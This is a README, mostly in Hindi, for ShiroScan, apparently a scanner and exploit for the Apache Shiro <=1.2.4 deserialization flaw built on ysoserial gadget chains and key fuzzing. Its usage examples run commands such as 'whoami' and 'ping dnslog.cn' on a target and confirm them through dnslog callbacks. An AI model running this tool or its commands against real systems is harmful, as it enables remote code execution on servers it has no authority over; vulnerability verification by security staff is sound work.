ShiroScan

Shiro<=1.2.4 डिसीरियलाइज़ेशन, वन-क्लिक डिटेक्शन टूल

परिवर्तन: 1. 4 नए एक्सप्लॉइट चेन मॉड्यूल (CommonsCollections7-10) जोड़े गए, सफलता दर में 30% की वृद्धि की उम्मीद है, इसे नए ysoserial के jar पैकेज में बंडल किया गया है, कृपया इसे बदलें नहीं
परिवर्तन: 2. मल्टी-थ्रेडिंग जोड़ी गई, हालाँकि मॉड्यूल बढ़े हैं, लेकिन गति 300% बढ़ गई है

集成21个key进行fuzz

• अगर यह मददगार लगे, तो कृपया एक star ज़रूर दें, संबंधित blog लेख: http://www.svenbeast.com/post/tskRKJIPg/

• pip3 install -r requirments.txt

• उपयोग: python3 shiro.py url command

• उपयोग: python3 shiro.py https://url.com whoami

• http://www.dnslog.cn/ सत्यापन के लिए इस dnslog प्लेटफ़ॉर्म का उपयोग करने की अनुशंसा की जाती है, यह ceye.io से बहुत तेज़ है

• अगर निष्पादित कमांड में स्पेस हैं, तो उन्हें "" में रखना याद रखें

• उपयोग: python3 shiro.py http://url.com "ping dnslog.cn"

• सभी 11 मॉड्यूल चलाएँ, फिर dnslog प्लेटफ़ॉर्म पर जाकर देखें कि अनुरोध प्राप्त हुआ है या नहीं। अगर नहीं आता है तो GG, हो सकता है कि एन्कोडिंग पर्याप्त न हों

• कृपया एन्कोडिंग स्वयं एकत्र करें, moule के अंतर्गत स्रोत कोड में स्वयं विधियाँ जोड़ सकते हैं

• स्क्रिप्ट चलाना सरल रखने के लिए, थ्रेड्स की संख्या उपयोगकर्ता द्वारा पैरामीटर से नियंत्रित नहीं की जाती, डिफ़ॉल्ट 20 थ्रेड्स हैं। बदलने की आवश्यकता होने पर कृपया /moule/main.py की पंक्ति 20 पर जाकर थ्रेड नियंत्रण पैरामीटर स्वयं संशोधित करें

इसे exp के रूप में उपयोग करने की अनुशंसा नहीं की जाती, दक्षता की समस्या है

केवल सुरक्षा कर्मियों द्वारा सत्यापन के लिए, परीक्षण करें कि क्या यह भेद्यता मौजूद है